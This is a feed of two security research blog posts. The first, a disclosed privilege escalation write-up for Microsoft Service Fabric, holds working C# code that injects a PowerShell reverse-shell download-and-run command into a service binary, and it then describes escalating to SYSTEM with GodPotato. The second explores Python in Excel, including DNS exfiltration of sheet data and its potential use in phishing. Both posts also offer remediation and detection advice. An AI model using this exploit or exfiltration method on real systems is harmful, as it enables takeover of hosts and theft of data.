James Williams, Author at NetSPI The Proactive Security Solution Tue, 06 Aug 2024 21:08:22 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.1 https://www.netspi.com/wp-content/uploads/2024/03/favicon.png James Williams, Author at NetSPI 32 32 From linen to silk – Using Microsoft Service Fabric to elevate privileges  https://www.netspi.com/blog/technical-blog/adversary-simulation/using-microsoft-service-fabric-to-elevate-privileges/ Tue, 28 May 2024 14:00:00 +0000 https://www.netspi.com/blog/general/uncategorized// The NetSPI Agents discovered a local privilege escalation path in Microsoft Service Fabric Runtime. Learn how the vulnerability was discovered and exploited.

The post From linen to silk – Using Microsoft Service Fabric to elevate privileges  appeared first on NetSPI.

]]>
During a recent red team operation, NetSPI discovered a local privilege escalation path in the default installation of Microsoft Service Fabric Runtime, a software commonly used for local application development. This vulnerability would allow a low privilege user, with a foothold on a host running the service fabric deployment, to elevate their privileges up to System.  

For this attack to work, the cluster must be “unsecured”, which is the default option when configured using the “typical” installation options. Microsoft takes the approach that “An Azure Service Fabric cluster is a resource that you own. It is your responsibility to secure your clusters” but provided guidance on how to secure them here (https://learn.microsoft.com/en-us/azure/security/fundamentals/service-fabric-best-practices). This blog will cover how this path was discovered and how it could be exploited.  

The research presented here was conducted on a newly provisioned Windows 11 VPS, hosted in Azure. The Service Fabric Runtime for Windows and Service Fabric SDK installers were downloaded from the official Microsoft source at https://learn.microsoft.com/en-us/azure/service-fabric/service-fabric-get-started.  

The software versions used for this proof of concept were: 

  • Service Fabric Runtime for Windows 10.1.1951.9590 
  • Service Fabric SDK 7.1.1951 

If you want to follow along at home, here are the steps taken to set up the environment used for this research.  

TL;DR 

  • Once installed, ServiceFabric allows low-privileged users to access the web interface 
  • A folder permissions misconfiguration allowed any user to modify files used by Service Fabric  
  • These files are started as NT Authority/Network Service 
  • Service Fabric replaces these files with a known-good copy when a cluster node is restarted, we can exploit a form of “time of check, time of use” flaw to overwrite them 
  • We can abuse this flaw to get a shell as NT Authority/Network Service, which provides a direct path to SYTEM via a “potato” attack 

Environment Setup 

A local admin account was used to perform the service fabric installation.

The SDK was installed using the “typical” configuration:

Once both components were installed, a new 5 node cluster was provisioned. 

The cluster manager web interface can be used to confirm the setup was successful. This can be accessed on http://localhost:19080/ 

When the setup is complete, you should see a dashboard showing all the nodes are healthy.

A new, low privilege user was created and added to the RDP Users group (which is required to access the machine). This user was named “low”. 

Finally, a tools folder was created, and some exclusions were set up in Windows Defender. This post is not an exercise in bypassing AV; we just want shells. These exclusions just allow us to drop some files to disk later, without worrying about making them AV safe. Defender did not detect or block this attack when left enabled. 

With our lab VM set up, we can start our analysis of the Service Fabric installation.  

Finding the vulnerability  

You may have noticed the ‘SFDevCluster’ folder in the Defender exclusions above. This folder is created by Service Fabric when a new cluster is provisioned and contains various binaries which are used by the cluster nodes. Reviewing the permissions applied to this folder revealed the start of our exploit path. 

Despite being installed in the root of C, all authenticated users have write access to this folder and its contents.  

Let’s see what’s running from this folder, using Process Hacker 2.

We have some binaries running from within a folder we have write access to, and they are running as NETWORK SERVICE. If we can modify one of those files, we should be able to elevate to NETWORK SERVICE and, from there, up to SYSTEM. 

The obvious approach here is just to replace one of these binaries with our own file and wait for it to execute. Let’s try that, using calc.exe.  

Here we’ve renamed the original binary to “FabricFAS_old” and copied calc.exe into the folder as FabricFAS.exe. Now we just need to execute it. Luckily for us, we can re-start nodes via the web interface, under the “actions” menu. 

We can restart the node (note it must be the correct one), wait for the restart to complete and… nothing. No calc, no new process starting. Looking at the folder contents again reveals that our “malicious” file was removed and replaced with the legitimate binary. 

Note the icon and file size have changed in the screenshot above. If you want to confirm this for yourself, you can use procmon from the sysinternals suite.  

So that’s it, game over, right? Not quite. .NET exposes the FileSystemWatcher class (https://learn.microsoft.com/en-us/dotnet/api/system.io.filesystemwatcher), which lets us monitor for changes to files and folders programmatically.  

Using the following code, we can monitor for changes to the file directly after FabricFAS.exe (the files are modified in alphabetical order).

using System; 
using System.Collections.Generic; 
using System.IO; 
using System.Linq; 
using System.Text; 
using System.Threading.Tasks; 

namespace ConsoleApp1 
{ 
    internal class Program 
    { 
         

        static void Main(string[] args) 
        { 
            using (var watcher = new FileSystemWatcher(@"C:\SFDevCluster\Data\_App\_Node_3\__FabricSystem_App4294967295\FAS.Code.Current")) 
            { 
                //filter on Attribute changes as these only fire once watcher.NotifyFilter = NotifyFilters.Attributes; 
                watcher.Changed += OnChanged;  
                watcher.Error += OnError; 
                //we filter on this, as its directly after the exe we are interested in 
                watcher.Filter = "FabricFaultAnalysisService.dll";  
                watcher.IncludeSubdirectories = false;  
                watcher.EnableRaisingEvents = true; 
                Console.WriteLine("Press enter to exit"); 
                Console.ReadLine(); 
            } 
        } 

        private static void OnError(object sender, ErrorEventArgs e) 
        { 
            Console.WriteLine(@"An error has occured"); 
        } 

        private static void OnChanged(object sender, FileSystemEventArgs e) 
        { 
            if (e.ChangeType != WatcherChangeTypes.Changed) 
            { 
                return; 
            } 
            Console.WriteLine(@"FabricFaultAnalysisService.dll has been modified"); 
        } 
    } 
} 

Restarting the node should trigger our code.  

Note that we get multiple hits; we can fix that later.  

The above code will give us a window of opportunity to make changes to the binary between it being overwritten by the legitimate file and subsequently started again. Now we just need a payload. We could replace the file with calc.exe, or say, a custom binary containing a Cobalt Strike beacon, but we can do better than that. As Red Teamers, we want to remain undetected, breaking a node within a Service Fabric cluster will almost certainly cause error logs to be generated, which will get investigated, and probably get us kicked out of the environment. We want a payload which will run our code, and then start the node as normal. Enter Mono.Cecil (https://www.mono-project.com/docs/tools+libraries/libraries/Mono.Cecil/). This project will let us modify the existing binary, adding our own code to the main method, before writing it back to disk. The rest of the functionality will remain unchanged, so the node will start as normal. We just need to decide what to run.  

Exploiting the vulnerability 

For this blog, we’re going to go with a PowerShell reverse shell, for two reasons. First,  it’s fairly easy to set up, and more importantly, doesn’t give away too many secrets. If you’re going to use this, you almost certainly want to build a better payload. We will simply embed a PowerShell one-liner and execute it with Process.Start. A guide on how Mono.Cecil works is outside the scope of this post, but the code is shown below.

using Mono.Cecil; 
using Mono.Cecil.Cil; 
using System; 
using System.Diagnostics; 
using System.Globalization; 
using System.IO; 
using System.Linq; 
using OpCodes = Mono.Cecil.Cil.OpCodes; 

namespace ConsoleApp1 
{ 
    internal class Program 
    { 
        static void Main(string[] args) 
        { 
            using (var watcher = new FileSystemWatcher(@"C:\SFDevCluster\Data\_App\_Node_0\__FabricSystem_App4294 967295\FAS.Code.Current")) 
            { 
                //filter on Attribute changes as these only fire once 
                watcher.NotifyFilter = NotifyFilters.Attributes; 
                watcher.Changed += OnChanged; watcher.Error += OnError; 
                //we filter on this, as its directly after the exe we are interested in 
                watcher.Filter = "FabricFaultAnalysisService.dll"; watcher.IncludeSubdirectories = false; watcher.EnableRaisingEvents = true; Console.WriteLine("Press enter to exit"); Console.ReadLine(); 
            } 
        } 

        private static void OnError(object sender, ErrorEventArgs e) => PrintException(e.GetException()); 
        private static void PrintException(Exception ex) 
        { 
            if (ex != null) 
            { 
                Console.WriteLine($"Message: {ex.Message}"); Console.WriteLine("Stacktrace:"); Console.WriteLine(ex.StackTrace); Console.WriteLine(); PrintException(ex.InnerException); 
            } 
        } 
        private static void OnChanged(object sender, FileSystemEventArgs e) 
        { 
            string timestamp = DateTime.UtcNow.ToString("yyyy-MM-dd HH:mm:ss.rf", 
            CultureInfo.InvariantCulture); 

            if (e.ChangeType != WatcherChangeTypes.Changed) 
            { 
                return; 
            } 
            //at this point, our target EXE has been overwritten, we have a small window to write it before its called again. 

WritePayload(@"C:\SFDevCluster\Data\_App\_Node_0\__FabricSystem_App42949672 95\FAS.Code.Current\FabricFAS.exe"); 
            Console.WriteLine("done"); 
        } 
        private static void WritePayload(string target) 
        { 
            Console.WriteLine("Injecting..."); 
            AssemblyDefinition asm = AssemblyDefinition.ReadAssembly(target, new ReaderParameters { ReadWrite = true, InMemory = true }); 
            //Creating the Process.Start() method and importing it into the target assembly 
            var pStartMethod = typeof(Process).GetMethod("Start", new Type[] { typeof(string), typeof(string) }); 
            var pStartRef = asm.MainModule.Import(pStartMethod); 
            var toInspect = asm.MainModule.GetTypes() 
            .SelectMany(t => t.Methods.Where(m => m.HasBody).Select(m => new { t, m })); 
            toInspect = toInspect.Where(x => x.m.Name.Equals("Main")); 
            foreach (var method in toInspect) 
            { 
                method.m.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Ldstr, @"powershell.exe")); 
                //then the arguments 
                method.m.Body.Instructions.Insert(1, Instruction.Create(OpCodes.Ldstr, @"iex (New-Object Net.WebClient).DownloadString('http://192.168.1.1:8000/Invoke- PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.1 -Port 4444")); 
                //We push the path of the executable you want to run to the stack 

                //Adding the call to the Process.Start() method, It will read from the stack 
                method.m.Body.Instructions.Insert(2, Instruction.Create(OpCodes.Call, pStartRef)); 
                //Removing the value from stack with pop 
                method.m.Body.Instructions.Insert(3, Instruction.Create(OpCodes.Pop)); 
            } 
            asm.Write(target); asm.Dispose(); Console.WriteLine("Injected"); 
        } 
    } 
} 

This code will need the Costura.Fody and Mono.Cecil Nuget packages to be installed, and you’ll want to update the IP addresses in the PowerShell command. In brief, this code will monitor for changes to the FabricFAS.exe binary, wait until it’s been updated, then write our malicious code into the start of the main method. When the node starts, this should kick off a reverse shell.  

We’ll need a host to catch our shell from, and we’ll need to build this payload and get it onto the box as the low privilege user we created earlier. We’re going to take some liberties here and just copy the file to our tools directory before we switch user. In the “real world”, we’d want to run this in process from our C2, but that’s just overcomplicating things.  

With our code built and copied to the tools folder, we can log off our high privilege user, and RDP back as the “low” user we created earlier. This user is not a local admin. Note that we don’t have permission to start the service fabric cluster as the low privilege user, it must be running already.

We can also verify that we have access to the Service Fabric management interface, as this low privileged user.

Now, we can run the exploit code we created, which will wait for the node to restart. We can trigger that restart from the management interface.  

After restarting the node, we see the exploit trigger.

Then, after a short delay while we wait for the node to restart, we see our payload being fetched from our server.  

We also get our callback.  

From this shell, running whoami /all will show that we are now running as NT Authority/NETWORK SERVICE 

From here, we can elevate to SYSTEM via one of the potato attacks. Again, this was our simple proof of concept only, so we’re going to drop some binaries to disk.  

We’ll use GodPotato to elevate to system. 

Running this from our shell shows we can run commands as SYSTEM. 

We can do better than that, let’s get a basic shell: 

Running “set” from this new shell, we can see our userprofile is in the system32 folder. 

As we have access to the test box, we can cheat a little here and just look at the nc64 process. 

And its permissions: 

And that’s it, we’ve gone from a low privilege user to SYSTEM, by using service fabric to get us a shell as Network Service.  

Remediation Advice 

While Microsoft considers this expected behavior you can still take steps to prevent abuse. Removing Write/Modify permissions from the Authenticated Users group should be sufficient to prevent this attack, you will also need to grant modify/write permissions to the NETWORK SERVICE account.

With these changes applied, our exploit code no longer works. 

The cluster is still healthy. 

Detection Opportunities  

Detection Opportunity #1: Anomalous processes modifying Service Fabric binaries 
Data Source: File Modification 
Detection Strategy: Behavior 
Detection Concept: Detect when a process overwrites or modifies any file within the c:\SFDevCluster folder, or its subfolders. The following processes are known to interact with files in this location legitimately – Fabric.exe, FabricHost.exe, svchost.exe, csrss.exe, MsMpEng.exe, Conhost.exe, FabricFAS.exe.
Detection Reasoning: No process, except for those associated with Service Fabric itself, or core OS functionality, should need to modify files in the c:\SFDevCluster folder. Other, unknown processes attempting to modify files in this location are likely to be malicious. 

Detection Opportunity #2: Named Pipe Usage for GodPotatoe 
Data Source: Named Pipe Creation, Named Pipe Connection 
Detection Strategy: Behavior 
Detection Concept: Detect on a process running as NT AUTHORITY\NETWORK SERVICE creating a named piped, followed by a process running as SYSTEM connecting to that same process. 
Detection Reasoning: This behavior indicates privilege escalation via the GodPotato exploit. In this particular example the PipeName has a format of <GUID>\pipe\epmapper and the Process running as SYSTEM is the System Process (Process ID 4) 

Hunting Opportunity #1: PowerShell.exe spawned by FabricFAS.exe Data Source: Process Relationship Detection Strategy: Behavior 
Detection Concept: The specific exploit chain used in this post results in PowerShell.exe being spawned by FabricFAS.exe. Hunting for this activity may allow this exploit to be detected. This could be expanded to include hunting for other processes commonly used to execute code, such as (but not limited to) cmd.exe, rundll32.exe, mshta.exe and wscript.exe. 
Reasoning: The PoC code presented here uses PowerShell, spawned by FabricFAS.exe. However, as PowerShell may be used legitimately by FabricFAS, NetSPI recommend using this for hunting rather than detection. 

Disclosure Timeline 

NetSPI disclosed this issue to MSRC, who provided the following response: 

“Upon investigation, we had determined that this is an expected behavior. You can refer the documentation https://learn.microsoft.com/en-us/azure/service-fabric/service-fabric-cluster-security. An SF cluster is a service management platform, exposing APIs that allow provisioning and executing code with an arbitrary level of privilege. An insecure cluster effectively elevates any caller to the role of machine administrator on each of its nodes. We have closed this case.” 

While we’ve chosen to publish this research, we’ve purposefully made the PoC provided very easy to detect by using PowerShell and tools dropped to disk. We have also provided detection and hunting guidance. 

The full timeline is shown below. 

  • January 26, 2024 – Issue reported to MSRC 
  • January 29, 2024– Issue Confirmed by MSRC 
  • January 31, 2024 – Issue marked as “not a vulnerability” for Bug Bounty purposes 
  • April 4, 2024 – Issue marked as “Out of Scope” due to being intended behavior. The content of the response is included above 
  • April 4, 2024 – NetSPI ask Microsoft to confirm their decision, and to approve publication  
  • April 5, 2024 – Microsoft responds, requesting they are allowed to review the blog before publication and confirming that they have contacted the relevant teams to confirm the behavior is intentional 
  • April 6, 2024 – Microsoft confirms again that this is expected behaviour 
  • April 18, 2024 – NetSPI submit a draft copy of this blog to MSRC for review, along with an intended publication date 
  • April 22, 2024 – MSRC respond, requesting that NetSPI clarify that the cluster was “unsecured” and that a link to one of their articles on cluster security is included 
  • May 28, 2024 – Blog post is published 

Want to learn more? Check out these additional resources: 

15 Ways to Bypass the PowerShell Execution Policy 

Power Up Your Azure Penetration Testing 

Extracting Sensitive Information from the Azure Batch Service 

Read the latest research and news from our local EMEA team. See what we're up to!

The post From linen to silk – Using Microsoft Service Fabric to elevate privileges  appeared first on NetSPI.

]]>
A First Look at Python in Excel https://www.netspi.com/blog/technical-blog/red-teaming/a-first-look-at-python-in-excel/ Thu, 19 Oct 2023 13:01:00 +0000 https://www.netspi.com/a-first-look-at-python-in-excel/ How can you leverage Python in Excel for Red Team Operations? James Williams present a quick overview the new functionality and how it may be used.

The post A First Look at Python in Excel appeared first on NetSPI.

]]>
Microsoft recently announced support for Python in Excel, and have begun making it available to the public via the Microsoft 365 Insiders Program. I wanted to explore how this functionality could be leveraged for Red Team Operations and am slowly researching it in my spare time. Here I present a quick overview of this functionality and some ways it may be used.

It’s worth noting that this is a Preview release of this functionality, and is likely going to differ from what’s eventually fully released.

Running Python Code

Python code can be executed using the new PY() formula. This takes our Python code, sends it to a remote container (hosted by Microsoft), executes it and returns the result. We can then use the results in our workbook. An example can be seen in the following screenshot:

This code is evaluated in the container and the result returned and displayed in Excel. We can also process values in the sheet using the xl() function. 

Excel also provides a diagnostics panel, where we can see the output of print() statements, or errors returned by the Python interpreter. We will make heavy use of this panel throughout this post.  

Exploring the Environment 

We have the ability to run arbitrary code in an unknown environment. As with any such access, we want to learn as much about the environment as we can. Let’s start with the basics, like our username, a process list and dumping environment variables.  

We can use the following code to extract this information:

import psutil 
import os 

print("username") 
print("") 
!whoami 
print("") 
print("proccess list") 
print("") 
 
processes = psutil.process_iter() 
for process in processes: 
    print(f"Process ID: {process.pid}, Name: {process.name()}") 

print("") 
print("environment vars") 
print("") 
print(os.environ)

Which gives us the following (redacted) output: 

username 
jovyan 

proccess list 

Process ID: 1, Name: pause 
Process ID: 27, Name: sh 
Process ID: 32, Name: msiAtlasAdapter 
Process ID: 35, Name: tail 
Process ID: 56, Name: entrypoint.sh 
Process ID: 61, Name: conda 
Process ID: 63, Name: dotnet 
Process ID: 83, Name: bash 
Process ID: 100, Name: condaentrypoint 
Process ID: 101, Name: jupyter-noteboo 
Process ID: 468, Name: python 

environment vars 

environ({'Fabric_NET-0-[Delegated]': '10.32.0.9', 'OfficePy__DataUploadPath': '/mnt/data_upload', 'IDENTITY_API_VERSION': '2020-05-01', 'CONDA_EXE': '/usr/bin/conda', '_CE_M': '', 'HOSTNAME': 'SandboxHost-<REDACTED>', 'IDENTITY_SERVER_THUMBPRINT': '<REDACTED>', 'OFFICEPY_DATA_UPLOAD_PATH': '/mnt/data_upload', 'DOTNET_VERSION': '7.0.10', 'Logging__LogLevel__Default': 'Information', 'OfficePy__ComputeResourceId': <redacted>', 'ASPNETCORE_URLS': 'https://+:80', 'PWD': '/app', 'OfficePy__Jupyter__Url': 'https://localhost:8888', 'CONDA_ROOT': '/usr/share/conda', 'Fabric_NetworkingMode': 'Other;Delegated', 'JUPYTER_TOKEN': '<REDACTED>8', 'CONDA_PREFIX': '/app/officepy', '_': '/app/officepy/bin/jupyter', 'Fabric_Id': '<REDACTED>', 'Fabric_ApplicationName': 'caas-<REDACTED>', 'HOME': '/home/jovyan', 'Fabric_CodePackageName': 'codeexecsvc', 'CONDA_PROMPT_MODIFIER': '(/app/officepy) ', 'Kestrel__Endpoints__HttpsInlineCertFile__Url': 'https://*:5002', 'Fabric_NodeIPOrFQDN': '10.92.0.9', 'IDENTITY_HEADER': 'ey<REDACTED>Fl', 'OfficePy__ComputeResourceKey': '<REDACTED>', 'TERM': 'xterm-color', '_CE_CONDA': '', 'NO_PROXY': 'localhost,127.0.0.1', 'CONDA_SHLVL': '2', 'Fabric_ServiceDnsName': 'service.caas-<REDACTED>', 'OfficePy__Jupyter__Token': '<REDACTED>', 'SHLVL': '2', 'ASPNET_VERSION': '7.0.10', 'HTTPS_PROXY': 'https://localhost:8000', 'HTTP_PROXY': 'https://localhost:8000', 'DOTNET_RUNNING_IN_CONTAINER': 'true', 'CONDA_PYTHON_EXE': '/usr/bin/python3', 'Fabric_ServiceName': 'service', 'CONDA_DEFAULT_ENV': '/app/officepy', 'Kestrel__Endpoints__HttpsInlineCertFile__Certificate__Path': '/mnt/secrets/sslcert', 'PATH': '/app/officepy/bin:/usr/condabin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', 'CONDA_PREFIX_1': '/usr', 'OFFICEPY_DEPLOYMENT_INSTANCE': 'prodp6-ukwest-<REDACTED>', 'PYDEVD_USE_FRAME_EVAL': 'NO', 'JPY_PARENT_PID': '101', 'CLICOLOR': '1', 'FORCE_COLOR': '1', 'CLICOLOR_FORCE': '1', 'PAGER': 'cat', 'GIT_PAGER': 'cat', 'MPLBACKEND': 'module://matplotlib_inline.backend_inline'})

From this output we can see that we are a low privilege user, the container is running some .NET code, and appears to be using Jupyter Notebook.  

We can also see that HTTP_PROXY and HTTPS_PROXY are set in the environment variables. These will be used by some command line tools to specify a proxy to use when connecting out from the container. As these are pointing at localhost, it is very likely this is being used as a way to prevent outbound internet access.  

We can see the ‘OfficePy__Jupyter__Url’: ‘https://localhost:8888’ value in the environment variables as well. Let’s see if we can connect to that and grab the HTML. 

We can use the following code:

import requests 

r = requests.get('https://localhost:8888') 
print(r.content)

Which returns our output in the Diagnostics panel:

Tidying this up and rendering as HTML lets us see the page served at this address:

Obviously this doesn’t have any of the referenced script files to render, but it looks like we have at least some access to the Jupyter web interface.  

Moving on, lets see if we can get outbound internet access. We know that proxy settings are specified in the environment variables, maybe they will actually allow outbound access?

import requests 

r = requests.get('https://www.netspi.com') 
print(r.content)

Ok, it was a long shot. What about if we bypass those proxy settings?

import requests 

session = requests.Session() 
session.trust_env = False 
r = session.get('https://www.netspi.com') 
print(r.content)

That’s interesting. We didn’t send a keyboard interrupt. The container must have a timeout set somewhere which kills running Python scripts after a set amount of time (about 30 seconds). It looks like there is no route out from the container to the Internet.  

Let’s try DNS. 

To quickly test if we have DNS outbound, we can use Burp Suite Collaborator. This will give us a unique address that we can query and let us know if a DNS request was received.

import socket 

data = socket.gethostbyname_ex(‘<collaborator URL>’) 

print(repr(data))

We have DNS outbound. Let’s see if we can exfiltrate some data from the sheet.

Here we are grabbing a value from C1 and using it as part of a DNS query.

As we can see in the collaborator output above, we are able to exfiltrate data from the sheet via DNS.  

We could potentially leverage this as part of a phishing campaign, or to exfiltrate data from a compromised endpoint, we could even use Python to encrypt the data before sending it out.  

Mark Of The Web 

For this to be useful in a Phishing campaign, we need to understand how Mark of the Web (MOTW) affects these formulas. Office 365 now, by default, blocks any macros coming from the Internet. When opening a macro-enabled document, the user will first be presented with this warning: 

Clicking through this will present the following error: 

Let’s see what happens when we download a document containing only a Python formula.

After clicking “enable editing” we are able to interact with the document as normal, even though it has MOTW applied.

Examining the HTTP Traffic 

So far, we have seen how we run Python code, how the container is configured, determined that we have DNS outbound access and seen how MOTW affects documents containing Python formula. But how does Excel actually run code in the containers?  

We can make an educated guess that Excel is likely using HTTP to send data out; there’s a chance it’s using TCP-based connections, but this is unlikely. To explore this further, we need to set up an intercepting proxy to view traffic sent from our test host. We could use Burp Suite, but Fiddler tends to be easier to use with local applications, so that’s what we’ll use.  

With Fiddler running, we can trigger some Python code to run. To make sure we capture all the traffic, we can close and re-launch Excel (removing any cached data in the process).

Office is making a lot of requests, but the four bottom ones to ‘service-preview-p1..’ stand out.  

Viewing the raw messages for each request, we eventually find our Python code being sent to the server and the calculated result being returned.

Examining the preceding requests lets us build an understanding of how the environments are constructed and configured, before our code is executed.  

First, Excel sends a request to `service-preview.officepy.microsoftusercontent.com`. The response to this contains the URL to be used for future requests, and a CDN URL (https://res.cdn.office.net/officepysvc/prod-preview). 

We can see a request made to this CDN, which returns a number of Python files. These are likely the scripts available within the container:

Going back to our setup steps, Excel makes a POST to the URL returned by its initial request, containing some IDs. These are auto-generated.

A further request is made, this time to the /runtimes endpoint.

Next, Excel sends some setup Python code.

Finally, our code is sent to the container to be processed.

I’ve converted this sequence into a Python script, which can be used to run arbitrary Python code in a container. You just need to provide a valid Bearer token. You can find this script here: https://gist.github.com/two06/237398c143120beb8139577bf0d27b91 

This script also supports sending cell data to the container for processing, which we’ve not covered here. You can see an example of this script returning data below:

Final Thoughts 

We’ve covered quite a lot in this post, but there is definitely still work left to do to fully understand the full potential of this new Excel feature.  

Read the latest research and news from our local EMEA team. See what we're up to!

The post A First Look at Python in Excel appeared first on NetSPI.

]]>